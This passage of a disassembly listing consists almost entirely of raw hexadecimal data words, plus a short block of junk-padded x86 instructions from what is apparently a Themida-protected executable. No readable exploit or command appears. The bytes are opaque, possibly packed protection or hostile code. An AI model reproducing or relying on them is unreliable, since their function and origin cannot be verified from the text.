369021DBh, 0BA813A48h, 273693E4h, 27FD83BEh, 0BE273650h dd 36F1865Ch, 9F25BE27h, 0CA024C3Ah, 961CA228h, 0A7252B19h dd 94481705h, 167E04F2h, 2BF29448h, 27362255h, 0E86EF4BEh dd 0FED49B62h, 0BE273679h, 0E486179Dh, 0D17369F6h, 4B219AE3h dd 0BE27362Ch, 2A4D23EAh, 0ECBE2736h, 0B85AE066h, 9C3EBECAh dd 8A2CA0AEh, 5488D5C3h, 1B6D2CB2h, 4F1F7173h, 5A2715A6h dd 0D48800A2h, 3F4735FCh, 4951BBDh, 8B39673Dh, 0C685B47Bh dd 2840667Ch, 0C328B947h, 0FB88763Dh, 660C8401h, 82E9BF86h dd 7CB7D389h, 34412FF6h, 0FF9016B8h, 0B2E16F5Dh, 0EF146BC8h dd 0A57B421Dh, 0B7D3AFD2h, 0BB38BE44h, 8DF77D30h, 0F78208C4h dd 4CF33EC9h, 63EEE16Ch, 7E311104h, 303E2C5Ah, 0CD941ABCh dd 273680F7h, 77088EBBh, 3F8Fh, 4CF30400h, 0CEA4E16Ch dd 0BE2736A9h, 3220E76Dh, 840AAC20h, 19A468F3h, 2FADB6A4h dd 8876078Dh, 0A47601FBh, 2881D2E5h, 99A2F17h, 6416C752h dd 4F000000h, 12A42790h, 27CA8943h, 0F27D0E1Ch, 31334CF3h dd 0DA0F8B1Fh, 0CE0C6769h, 1452810Fh, 408C78Eh, 0F8B0340Dh dd 0A425B041h, 0A233A9B6h, 582614DBh, 0EB7C02A4h, 27366215h dd 0BF4AD0BEh, 61EFDDA4h, 0A44FDA6Bh, 0A6184CE5h, 831429A1h dd 8510CC95h, 0DB2EEDB4h, 0C182B16Eh, 83F4CA91h, 93BE26ABh dd 0F3F17C0Dh, 0CAA06741h, 0B474C152h, 482F05CCh, 6CB7D90Dh dd 0C9EF5295h, 9F75C8Ah, 59DF817Bh, 64C514D3h, 0B382600Fh dd 0AA7662Dh, 9D43EC14h, 0DCA345D6h, 0D66765EEh, 0D83F7300h dd 0D72811B7h, 2F2D0BBAh, 1DED151h, 0F3460000h, 7F7D054Fh dd 7D6B32F9h, 0CE54F6F6h, 3608673Dh, 70F6BE27h, 38B4BBA9h dd 1B74C179h, 0A63789E4h, 264E1604h, 561DA359h, 3BDD1F68h dd 0E0A724B5h, 6B344319h, 0AA80BE26h, 0BE266BCDh, 0D056BB41h dd 0F77DB43Fh, 0E5A46AF5h, 7147E5A5h, 0BE26E806h, 0B7C38208h dd 7A93AD3h, 0E8508140h, 78CD7CAAh, 26FFD5A2h, 2DB339BEh dd 4CF3119Ch, 0F77D7F04h, 463EE6Ch, 5A7E3111h, 340Bh, 4CF38000h dd 0CEA4E16Ch, 0BE2736A9h, 0F5F77F6Dh, 0FB0C536h, 9A20E095h dd 269DE5D3h, 544AC732h, 0B95BE1C0h, 0A417A233h, 0F8F47D19h dd 1629B46Dh, 41h, 6C4CF38Bh, 34A8B7A5h, 0B6A418A3h, 41BBC5AFh dd 0F193199Fh, 3D13DA6Bh, 0BE27363Ah, 0FD6BBB7Ah, 27A1C445h dd 23B42839h, 0A4C954DAh, 8D2FADB6h, 62614807h, 20B78D9Bh dd 7D3DC88Fh, 0B46DF8F4h, 6D4FF329h, 36D3D0A6h, 0F57BBE27h dd 0DD1F6553h, 0DDA4D560h, 27367007h, 914B15BEh, 2715A62Ch dd 0EB8C6259h, 2BBE2736h, 6F08DEA5h, 9FBE2736h, 0C9089319h dd 2B4CF33Eh, 27362255h, 0E86EF4BEh, 0B12B3321h, 63EE9520h dd 54B0E5A4h, 0F395571Bh, 5877AE6Dh, 878EF586h, 0B55A7D77h dd 44h, 407300EEh, 3EEFE8BDh, 0A94BD1C6h, 0AF2D3523h, 4CF3931Eh dd 0B6A4E16Ch, 0DCA334A8h, 27367106h, 941FA5BEh, 0DDA419A4h dd 36374016h, 51D7BE27h, 2736FC7Bh, 3941ABEh, 5904C15h dd 431629B4h, 8B000000h, 0A56C4CF3h, 366F08DEh, 199FBE27h dd 0B6A4FD88h, 0DAA132AAh, 27367304h, 0C5341BEh, 17A82ED0h dd 0C28148CEh, 0B8C7AFF5h, 1FAA3B2Dh, 0F47D19A4h, 157231F8h dd 25456734h, 0A4D45FF0h, 0A132AAB6h, 0B1165FEAh, 8B000000h dd 7C054FF3h, 0D258DE80h, 363A350Bh, 46CCBE27h, 2EAEB6A4h dd 0B6A426B1h, 0B5A334A8h, 0C9A22DAFh, 44CF33Eh, 6EF97F7Dh dd 110463EEh, 0B5A7E31h, 48h, 0D3095644h, 8F1AAB31h, 0E16C4CF3h dd 36A9CEA4h, 7F6DBE27h, 0E46FF5F7h, 0E5A419A4h, 571E8FA7h dd 2B99D695h, 541D0B9Ch, 1C0AD198h, 74FA9C50h, 26D1D99Eh dd 26B73DBEh, 0AAB6A49Bh, 790A9032h, 351637C2h, 8B000000h dd 8632E5A4h, 5413C999h, 0A03130E0h, 16A17928h, 36A9CEA4h dd 389BE27h, 0AAB6A478h, 4B0A9032h, 24C53A2Bh, 0AF760757h dd 0F8F47D24h, 0FFEDB46Dh, 5FEA7B71h, 2EF5F77Dh, 1ABC3040h dd 24D8A694h, 7C03F193h, 0FBFED47h, 0AA309AE5h, 0BB313F2Dh dd 44364319h, 0DEC7BE26h, 289BE98Dh, 8B689F10h, 0A320A62Ch dd 0A7F4AFB5h, 0AC2FF1C4h, 218E30B6h, 5563FBDh, 0C2981361h dd 0BE2730B5h, 0D04DD359h, 5CC2458h, 0A31A5946h, 65F646B3h dd 8054C89Eh, 0A968B474h, 1DE97293h, 22871879h, 5BF2855Bh dd 9E24B7D8h, 0D3A07618h, 0B1B7D85Bh, 3BFA77C8h, 75673E8Dh dd 23F9C059h, 0B7D87B54h, 44AB3CC2h, 512F6881h, 1B5Bh dd 0F77DD000h, 0FA7D53F5h, 3BE2736h, 5F25C91Ah, 9A59209Dh dd 29E8F694h, 0F07B0CA5h, 0C68DF77Dh, 58DE6406h, 0B21A3EB6h dd 8BEF15EBh, 5BE1B47Bh, 5B2917DEh, 27AD2F39h, 927A1E96h dd 5B27F5CBh, 9319AE21h, 0E7581BF1h, 432CBE09h, 0D4F0D5F2h dd 35EE5760h, 63000000h, 79054FF3h, 0D55BE183h, 366F380Eh dd 8F7DBE27h, 0E46A0CC0h, 7000EE53h, 66ECDA7Ch, 60F2E066h dd 0BE44CA6Ch, 817B09F7h, 333B29F0h, 23E73CB9h, 5C000000h dd 0A66D4FF3h, 2736D3D0h, 2EF57BBEh, 0EFB63640h, 21F8C730h dd 8C623510h, 0BE26D7EBh, 8E1FA52Bh, 0A3168611h, 4F000001h dd 37D91361h, 0F39520B1h, 0C9DE6943h, 0AAB6A43Eh, 0ADB3A132h dd 0C4A9682Fh, 0B0C0B6EFh, 0EE31BC4Dh, 31110463h, 2C0B5A7Eh dd 80000000h, 0DE6943F3h, 36A9CEA4h, 0E76DBE27h, 7D19A45Ch dd 0A470FBF1h, 9032AAB6h, 37C2790Ah, 7D01E5A4h, 0A02B0DFBh dd 4FBA0Fh, 0A42F0000h, 9234A8B6h, 53037B0Ch, 0CEA4EE79h dd 0BE2736A9h, 99531D0Bh, 0FD8371F7h, 9F256EFFh, 1EDDA414h dd 0EF797754h, 6C54BEDh, 2ABB9C3Ah, 0BFE5A49Fh, 0E3B352Fh dd 40C60652h, 37B5C1AFh, 0F6F68270h, 0EDB4DA65h, 7C37282Eh dd 55E66673h, 0F5F77DCAh, 0BA32402Eh, 0FC7B5118h, 1ABE2736h dd 864F0E94h, 3D316018h, 0C9E87304h, 0B8324302h, 14D99E74h dd 0B73DBE27h, 3C38B9F8h, 0BBA2817Dh, 66F7B5E4h, 334CF3DBh dd 0A7307066h, 29B43A46h, 7007DDA4h, 9EBE2736h, 7F0A8718h dd 7E311104h, 8F652C5Ah, 0BB2736E8h, 270FA026h, 58h, 6C4CF39Ch dd 6F08DEA5h, 9FBE2736h, 0A4FD8819h, 2736A9CEh, 5CE76DBEh dd 0F47D19A4h, 34CDC690h, 0B8718E40h, 6E7F3EC4h, 4A4FC8CDh dd 0CE955CE2h, 26827FF8h, 42098FBEh, 26830B6Ch, 0F4850BBEh dd 0FFEDB469h, 5AE57676h, 2FADB6A4h, 17D59F8Dh, 36AB0091h dd 20000000h, 0E16C4CF3h, 36A9CEA4h, 4C0BBE27h, 4A1E47C6h dd 14ADB0Bh, 0C113643Ah, 7D03BE26h, 690BC18Fh, 0A4D25DE3h dd 90F47D19h, 18D49EC6h, 0C86AF076h, 0B431BC42h, 0F6F67D29h dd 36F67E54h, 0B19ABE27h, 37B5BC60h, 0F67D2FBAh, 92682FF6h dd 0BE2736E5h, 7012A329h, 0C391F382h, 3685F2C8h, 389BE27h dd 7C58F7Dh, 0B759DF65h, 8A2E7F68h, 0AE8401FBh, 0BE27217Bh dd 2E774FB6h, 2C69577Eh, 0DEFFFFFEh, 2736DE95h, 3634BFBEh dd 1169BE27h, 92BE2736h, 0BE2736E1h, 2736B7BCh, 368DE6BEh dd 0CA6EFE27h dd 0AB451BE2h, 5DF47632h, 9BBD35D7h, 0B5A36A31h, 656F2EAEh dd 4D82B73Dh, 0A226FC8Dh, 14EE248Fh, 871AC28Eh, 51F302B5h dd 2A0FCh, 97552000h, 0A5272C1Ah, 0B02C3A28h, 0C13B4533h dd 0D3095644h, 141E0556h, 2614914Bh, 3523A05Ch, 4331AE2Eh dd 6942BF3Dh, 0C8ABCCA2h, 906BB7D3h, 7DDA405h, 0BE273670h dd 3611663Ch, 7F05BE27h, 1503941Ah, 73EB8D4Fh, 4A20E7C1h dd 0B47B8C06h, 0DFB532B8h, 0B7D3D094h, 0A3592A18h, 72EA7B01h dd 0BDF67ECEh, 5CC524EFh, 0C349CFBDh, 0F57626FCh, 22A8AE27h dd 7DE76D5Bh, 6553F5F7h, 0D75DE319h, 0E8E46C5Ah, 45FB7046h dd 5C00BE26h, 31D7AD74h, 1FB47A9Bh, 0FAF70260h, 9D235B92h dd 6498E8D6h, 365ADE9Dh, 5E02D792h, 126250CDh, 9CC038DAh dd 6D976D34h, 63AE283Bh, 27A5AE9Ch, 4E29FF85h, 66BE26FFh dd 0A66AF892h, 0A42A8FAFh, 50047C1Eh, 0BCC3B178h, 12E8AF40h dd 0B47AAB8Eh, 85733AC0h, 0D75DFFFDh, 0C3917F46h, 0D69E8C09h dd 8426A6AEh, 854710FEh, 35D75DE3h, 0D349145Fh, 0DDAA98B7h dd 0A72DAFB7h, 12FA9E16h, 0EFDB754Bh, 0E76DAE27h, 3BA86120h dd 39EFAC42h, 0DDDB9C72h, 0B53BBE26h, 560A8224h, 0C7E1B77Eh dd 69B47480h, 0BB7917E3h, 9C3E48E5h, 16847h, 0CF0D5800h dd 0DD1F6452h, 0E8E47260h, 0F9F37D6Bh, 0BC18E7Ch, 4CE63D8Eh dd 5E4CC903h, 6D5BD814h, 7B69E6E6h, 0A17AF7F5h, 0C77304DAh dd 0C8A3B7D3h, 6741F33Dh, 62EBD9A0h, 4D03D96Ah, 99B47B8Ch dd 0D07BFCD2h, 159BB7D3h, 0F7991F84h, 0BA324230h, 0DBA49218h dd 64189021h, 88D7C58Ch, 9B2CB254h, 6372FED4h, 0B6A4AE21h dd 0B9133A9h, 0B225B985h, 34D642B4h, 0F0DFh, 4785D000h dd 5597DCCAh, 609CEAD8h, 716BF5E3h, 837906F4h, 0C46EB506h dd 0D6C441BBh, 0E5D3508Ch, 0F3E15E9Eh, 19F26F6Dh, 0C6FB7C52h dd 401BB7D3h, 12E5A4B5h, 30ACB9B2h, 6E23E771h, 0C8A6D1A7h dd 0E268BE26h, 4DA7D951h, 1E58B086h, 7736B47Bh, 0D939A0DFh dd 34D65C2Fh, 41BE3E46h, 2DCF0D53h, 622983B5h, 2808108Ch dd 3BB83EAEh, 4BC8044Dh, 90E7BD84h, 7EBE2653h, 0ED7967F8h dd 0F88472EFh, 538AEDC3h, 68CBE26h, 48150380h, 96DFCD94h dd 17EDB456h, 0BE265360h, 11A228AEh, 0C40ECD94h, 3D3A105Eh dd 0D1BE2730h, 740B8C4Bh, 26A6B09Eh, 1EDEA795h, 2DAFB3A1h dd 39B3C2B0h, 582EF5BCh, 0BE26581Fh, 0F47B69EFh, 0EB7967F8h dd 0FC8674F1h, 690B8300h, 0BECAB87Fh, 85169C3Eh, 0AEB4E8BEh dd 0E46AB47Ah, 0D00C5442h, 3FE53h, 1F730000h, 0FAF27D94h dd 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h, 87451200h dd 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 8953129Eh, 4C381E3h dd 83000000h, 1C8704EBh, 24248B24h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebp mov ebp, 65366A1h push ebp pop eax pop ebp push esp mov ebx, [esp] add esp, 4 push edi mov edi, eax mov [ebx+8], edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_5426E1 ; --------------------------------------------------------------------------- dw 1FC7h dd 68B83197h, 3065371h, 0E8C38BC5h, 0Fh, 89D0FD14h, 97871FB7h dd 248B9729h, 81782235h, 991629C2h, 84BA5E78h, 81334834h dd 5DECC6h, 0C4806000h, 615A533Ah, 8166FF33h, 0FF3BA3DAh dd 0DFB73734h, 0D3BF0F59h, 0CAC8E981h, 0E9810D67h, 6D9C8B1Ah dd 0CE8h, 33D99700h, 6BDA6740h, 4EFF4EADh, 0CB8166B9h dd 815B7F5Ah, 7E7A0E9h, 898AB646h, 0BF0F3E0Ch, 28A0FD6h dd 8B000000h, 4EF83D3h, 81DA8B66h, 0FFA294FFh, 0AC850FFFh dd 0F9FFFFFFh, 73418D8Dh, 9D890653h, 64E2C39h, 2B058D89h dd 6A064Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h db 0 byte_5919E9 db 0, 47h, 57h ; DATA XREF: Themida_:00545B18o dd 0B0F9D6C3h, 0C7F38B79h, 4E2B6585h, 5FB406h, 11BD8B00h dd 0C7064E04h, 4E065D85h, 6, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BE2C33E5h dd 11C1BD31h, 8D89064Eh, 64E160Dh, 20F1B5FFh, 11E8064Eh dd 0CC000000h, 0AA9EAF57h, 79D9FD7Fh, 0B3F3730h, 8791BF3Fh dd 1651B58Bh, 0FF5F064Eh, 4E0F9995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 91644FA0h dd 7E9h, 9B2F7100h, 0E2B1F457h, 95FF006Ah, 64E1A59h, 4CEBC08Bh dd 0F10F7B22h, 9C878EECh, 0E1FC5C07h, 0B63BF345h, 6C15FA05h dd 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0B365D24Ch, 26CC7D62h dd 0A1225448h, 0B10F3BCAh, 0C1412E8Bh, 3EE04623h, 42C89BB2h dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 4CAE2FDEh, 266E9h dd 8C666000h, 4C1F6D9h, 35840Fh, 16A0000h, 25D1B5FFh, 858D064Eh dd 6517D21h, 8589D0FFh, 64E209Dh, 0EFC1FE8Bh, 680Ch, 6A2006h dd 6857026Ah, 1000Dh, 209D95FFh, 32E9064Eh, 0C6000000h dd 4E040185h, 0DF685606h, 0FFA9C530h, 4E24C9B5h, 21858D06h dd 0FF06517Dh, 0C18589D0h, 8D064E28h, 4E262D85h, 406A5006h dd 0FF56056Ah, 4E28C195h, 0C36106h, 2 dup(0) dd 52000000h, 8B60D48Bh, 85890842h, 6537415h, 890C428Bh dd 53740D85h, 10428B06h, 74118589h, 0B58D0653h, 653744Bh dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 15B58B00h, 8B065374h dd 53740D85h, 11BD8306h, 65374h, 7840Fh, 6890000h, 2E9h dd 0CF068800h, 2 dup(0) dd 60D48B52h, 8908428Bh, 53741585h, 9CB58D06h, 8D065374h dd 5B7E3585h, 61D0FF00h, 15858B5Ah, 0C2065374h, 858B0004h dd 6537415h, 8589008Bh, 6537415h, 0CFh, 0B5896000h, 6537472h dd 746E8589h, 858D0653h, 64E32A5h, 8944408Bh, 5374AB85h dd 0E1B58D06h, 8D065374h, 5B7E3585h, 61D0FF00h, 7472858Bh dd 8BC30653h, 53746E9Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh dd 653746Eh, 324738Bh, 53746EB5h, 7B8B5606h, 1C738B20h dd 746EBD03h, 0B5030653h, 653746Eh, 0FFC983FCh, 729D8B41h dd 8B065374h, 6E950317h, 83065374h, 28A04C7h, 840FC084h dd 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 6E850386h, 89065374h dd 53747285h, 8BF08B06h, 81C18BCEh, 5374ABBDh, 30000006h dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h dd 3FF8h, 74ABBD8Bh, 0C830653h, 148B0607h, 24C28B07h, 8B813C81h dd 57840FC1h, 81000000h, 5374ABBDh, 30000006h, 0D850FC0h dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h dd 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 74ABBD81h, 653h dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h, 8DCF0608h dd 53741985h, 55858906h, 8D064E0Eh, 5374AF85h, 6D858906h dd 8D064E0Ch, 53747685h, 3D858906h, 0E9064E22h, 13Ch, 4Fh dup(0) dd 11E5BD83h, 0F01064Eh, 49C84h, 56B26000h, 0F619DB7h dd 0C86h, 68E0F00h, 0F000000h, 89h, 185C600h, 43064E04h dd 6E9h, 981A5000h, 68D0D2F9h, 7829A29Ch, 52505250h, 830Fh dd 310F0000h, 12E9h, 3FF81300h, 5818C582h, 5D35E14Ch, 0F0A14809h dd 5A13E7D8h, 0F310F58h, 684h, 870F00h, 5A000000h, 24048158h dd 747C2E59h, 14E9h, 54046100h, 0C5A8404Eh, 93E45FB6h dd 0C7096247h, 248029B6h, 0C9B5FFC8h, 0F8064E24h, 0E7816060h dd 63E7DF0h, 858D6161h, 6517D21h, 5775BA60h, 0D2814E59h dd 7078CCE6h, 0F9D0FF61h, 0B518589h, 0C6F9064Eh, 4E040185h dd 68F55006h, 0BAF13533h, 0DE860h, 7C90000h, 0A2B5A2A3h dd 0B269E087h, 60180F2Ch, 14E85961h, 0BB000000h, 3C2C1963h dd 2F86C39Fh, 0EFEB36E6h, 5E8023BBh, 8A09E2DEh, 81615EF3h dd 98652434h, 6A125Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 33D997C3h, 3AB96040h, 0E9394D7Bh dd 12h, 0FA1D8745h, 0DD0DA6FDh, 33555022h, 1260F39Ch, 0FC61689Bh dd 24C9B5FFh, 0F560064Eh, 5E9h, 8748BF00h, 8D611EE6h, 517D2185h dd 8830F06h, 0F000000h, 287h, 0FF616000h, 52006AD0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0B5D6D79Fh, 0C5E9FBFEh, 8589FCFDh, 64E0859h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 75C35646h, 0D74EB5A6h dd 60BE51FFh, 83F36861h, 525071ACh, 11E9h, 0DA2B7000h dd 0F8014E77h, 70F745EDh, 462994ACh, 310FED1Eh, 52505250h dd 585A310Fh, 860F310Fh, 0 dd 585A585Ah, 3C240481h, 0F57EE324h, 24C9B5FFh, 6A064Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0CE96A6C3h, 2812E7E1h, 858D6395h, 6517D21h, 830F6060h dd 0 dd 8E961h, 0E91A0000h, 55EF6586h, 0E9614E28h, 0Fh, 0FFDC86DEh dd 3A91A8CCh, 64CCFB33h, 0FF2E7E7Ch, 0EE9D0h, 883D0000h dd 0C9267F0Dh, 6535F915h, 0D11384DCh, 32818589h, 800F064Eh dd 10h, 0BE9h, 66E30400h, 201A48BCh, 9EFF1E48h, 0C28B6660h dd 81E9E681h, 0C6612F91h, 4E040185h, 8E95006h, 0CF000000h dd 892D06AFh, 68DF13CAh, 0FBCC565Ch, 52505250h, 8B0Fh dd 310F0000h, 310F5250h, 585A585Ah, 6660310Fh, 5A61C68Bh dd 24348158h, 6C508A0Ah, 0EE9h, 0D21AE200h, 0AB938873h dd 0DBDEA94Dh, 0FF7C077Ch, 4E25D1B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 8B6660E4h, 66BB66CBh, 858D6184h, 64E39D8h, 1820Fh, 0FFF50000h dd 8589F9D0h, 64E2CA9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0F6C35141h, 0E6EACE11h, 8BB6660h, 9E812h dd 0D30D0000h, 10296676h, 0BBB944CBh, 59340397h, 4AE9615Bh dd 60000001h, 5CB4BB52h, 615E5DC5h, 0D18B6095h, 8D0F5061h dd 12h, 0DE9h, 63F27E00h, 6218CF86h, 0B25D74E4h, 609584F8h dd 4830Fh, 0B9660000h, 8B61C934h, 0EE9ECh, 7E700000h, 760A78BAh dd 695CC20Fh, 0FD544916h, 0E9FCC483h, 10h, 4550B265h, 7FC7B8FCh dd 0EF4E9D30h, 0DFC05924h, 14E960h, 59810000h, 5BF3E5BBh dd 4328B0C2h, 4F69D768h, 0B9DB2197h, 0E8612Ah, 5A000000h dd 7B41EA81h, 45C70653h, 0FCh, 0E5BA8300h, 1064E11h, 98840Fh dd 6A520000h, 0FF0F6A00h, 4E0B5192h, 82895A06h, 6537626h dd 762A9A8Dh, 0C7520653h, 12803h, 0FF505300h, 4E085992h dd 8D525A06h, 53762A9Ah, 0B2FF5306h, 6537626h, 2CA992FFh dd 0B5A064Eh, 8D5074C0h, 53762A9Ah, 247B8D06h, 0F981C933h dd 104h, 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h dd 64E0031h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 31828Dh dd 0FF50064Eh, 4E328192h, 0C00B5A06h, 45C7A075h, 1FCh dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 0FF90008h dd 78Fh, 0E2806000h, 615856CEh, 0E8D28BF9h, 12h, 41B6AFBFh dd 0FEB4F739h, 0E80600E4h, 62301E73h, 8B66134Ch, 0F08B5FF1h dd 744EC781h, 8A0F0000h, 0Ah, 0D0BF0F60h, 44DE8166h, 0DB2B6144h dd 0F53B34FFh, 81D48A58h, 8F5820F0h, 5E969h, 0F01B0000h dd 81D3E672h, 9049DC0h, 5AF55348h, 0CE3EC081h, 0BE660952h dd 489A54Ch, 0CA81501Fh, 42201FB9h, 0F2BF0F59h, 8002EB83h dd 4B4BA0CAh, 0ADCA8166h, 64FB81C2h, 0FFFFF8Ch, 1885h dd 75CD8000h, 2DE9h, 5965A000h, 5D15B5A7h, 259A8EA9h, 0DE33AF62h dd 0CE93Dh, 39E90000h, 362AFC8Fh, 65BA1DC7h, 81E934EBh dd 68FFFFFFh, 63CF57ECh, 8D8DD14Dh, 6537D88h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 2F3220E4h dd 0DE912h, 1E4A0000h, 15483DC9h, 43FD1972h, 898803EFh dd 4E2B058Dh, 0B9C08006h, 2B6585C7h, 70E4064Eh, 95290000h dd 64E26C9h, 65D85C7h, 64Eh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 8C602DC3h dd 0C60CC030h, 9CBE668Ah, 4DB5FF5Fh, 6A064E06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 3FAEC353h, 75FC30B8h, 0FFC46BF3h, 4E0F9995h, 6D9D8906h dd 6A064E0Eh, 5995FF00h, 8B064E1Ah, 9D2FEBC0h, 751F35DBh dd 3E0AB094h, 3E2B8434h, 8948616Bh, 0C2992FDFh, 0DD5F65F6h dd 2B2286CCh, 0B8FF28ECh, 329E8770h, 5C16E28Dh, 1A05167Dh dd 8D8D3F3Bh, 6537E67h, 0FE8h, 2F7A2400h, 31F130Ah, 3C58FF8h dd 0B1C3801Eh, 17BD9D89h, 8958064Eh, 4E2B058Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BA660E4Ch, 8960972Dh, 4E0B318Dh, 0C9816606h, 0C761C5BDh dd 4E2B6585h, 5E4406h, 8D295200h, 64E1E69h, 5D85C75Bh dd 64E06h, 60000000h, 30419529h, 0EE81064Eh, 37F586Bh dd 35B5FF61h, 0E8064E18h, 7, 0BD09980Ah, 2311C9DAh, 4E296D9Dh dd 95FF5F06h, 64E0F99h, 7A9B589h, 6A064Eh, 1A5995FFh, 0C08B064Eh dd 6A3E4AEBh, 14371F27h, 0CD82FB8h, 0A4240CFEh, 80345AEFh dd 6A907979h, 0BAD76379h, 0D9A4AE77h, 6F14BCB2h, 43DB639Dh dd 0F77F642Dh, 88670EAAh, 40D4EC77h, 40B5D8FEh, 0D3BBBFC9h dd 3D8287E4h, 0CE6D3AB3h, 0E678A66Eh, 0EEABDE39h, 0EB041250h dd 0A7684B43h, 0F39DAF44h, 78970B2h, 7BF5348Bh, 0FD24711Ch dd 806784A5h, 32198449h, 45522583h, 21267939h, 146D896Dh dd 3D253239h, 32243A3Eh, 0FB5A8ADDh, 12920191h, 3227F89Eh dd 0B1C8BEBBh, 7C086D60h, 0B62B34E8h, 32243421h, 0DA7134D1h dd 322434DEh, 6FE769CEh, 360058FEh, 3600703Ah, 322434C0h dd 71E761ABh, 124EE566h, 36EF64C3h, 31B7DDFBh, 324E34EEh dd 3227DC25h, 680434BBh, 66AD6E1Eh, 76A530CAh, 32383053h dd 606634BBh, 5F9BDF1Eh, 0DCA9B2AFh, 6C7307EEh, 0DC8FD53Ah dd 0B7A974FDh, 34774A38h, 0DA75341Dh, 322434B8h, 6BE76DFDh dd 36007867h, 360070F6h, 322434ACh, 0CBE7659Ch, 62979399h dd 6CF4BF24h, 58003032h, 31CC62DDh, 122434EEh, 0BB7AF729h dd 0B32010CFh, 2F201099h, 742434EEh, 0C2DF721h, 1D10C302h dd 0EE21FC79h, 2D58D66Fh, 0B7A945D3h, 34774A03h, 3227BAD2h dd 0CB4434EEh, 8D74A416h, 46248AF1h, 0C9AF524Dh, 170DA111h dd 852B3239h, 0B3E4BF6Ah, 0F0096B34h, 7799B7C3h, 32227A5Ah dd 8FA73DCEh, 346A2D3Ch, 623D40EEh, 8AE4BF24h, 322430C1h dd 139DB154h, 0AFA932A0h, 34748D36h, 6A7FE744h, 2BC5895Eh dd 462432A0h, 8A776460h, 322430C1h, 139DB154h, 0AFA932A0h dd 34748247h, 6A7FE744h, 0DA7734B7h, 322434EDh, 69E76F57h dd 36006832h, 3600705Ch, 322434F7h, 0BAE76734h, 2C56EC4Eh dd 0DAEBBFBCh, 322434E8h, 91DD4F53h, 0F8A5C2D7h, 74E5707Bh dd 60245EB0h, 3224379Fh, 0F17E14BBh, 1670BD87h, 1660B5EAh dd 32242173h, 0F17676BBh, 0B942EC54h, 0E5A55226h, 0F2AF9ADAh dd 0F99B3BDBh, 3227B2D2h, 0B94234EEh, 0AFA95587h, 34774A7Bh dd 3221B9D2h, 0A09A34EEh, 0BF12468Ch, 61408E3Eh, 0DBA565DBh dd 2CADD498h, 54F4CB2Eh, 1369ED3Ah, 0B62BF4D6h, 32243480h dd 0B342FEFDh, 0BFB99749h, 7C6A2440h, 64245EE8h, 3224379Fh dd 0F17A14BBh, 1650BD83h, 1660B5EAh, 32242D73h, 0F17272BBh dd 811DF1B0h, 319CE018h, 58243477h, 31CC64BBh, 122434DDh dd 0BB7CF7B6h, 0B3201033h, 292010FFh, 722434DDh, 0F36AF7BEh dd 71AE3245h, 23CD6F29h, 232434DDh, 320D026Ah, 0DED100A2h dd 316EA3E9h, 32A4A8h, 0AFA9D711h, 34774ABFh, 32243C52h dd 0C7FA4FDDh, 13C4FB30h, 88A1B9B9h, 582267DFh, 31CC66DDh dd 122434EEh, 0BB7EF72Dh, 0B32010EFh, 2F201099h, 702434EEh dd 0A1F725h, 7D394E39h, 59410EA6h, 0CD02DA6Eh, 62245EA7h dd 32243753h, 0F17C14DDh, 1660BDB6h, 1660B573h, 322420BFh dd 0F17474DDh, 21AC3BAFh dd 0DB243477h, 322434B5h, 4B4EA4A4h, 459EE38Dh, 80FD90D9h dd 0F22F2007h, 3203B0D2h, 38CC34EEh, 6D243477h, 10A2F866h dd 0CD0CD8F6h, 0BF7BC856h, 7C6A24EAh, 32258CBDh, 0B34234DDh dd 0CD004628h, 3D9E5294h, 0FFB9B9E2h, 582267A3h, 31CC65EEh dd 12243477h, 0BB7DF7E2h, 0B3201091h, 242010AAh, 73243477h dd 0E4A9F7EAh, 88A1B91Eh, 5422678Ah, 0CD52B8CDh, 63245E6Bh dd 32243735h, 0F17D14EEh, 1668BD2Eh, 1660B5BFh, 32242DD9h dd 0F17575EEh, 527F0D2Ah, 8D42C691h, 0F22F8D3Ah, 32ABB0E1h dd 0BF2B3477h, 322434BFh, 6DECBF8Dh, 7C34A963h, 324E3239h dd 3227DCE8h, 690434DDh, 6EAD6F2Dh, 76A53053h, 3238309Fh dd 616734DDh, 818F9D2Dh, 0E16531Fh, 0DA44321Eh, 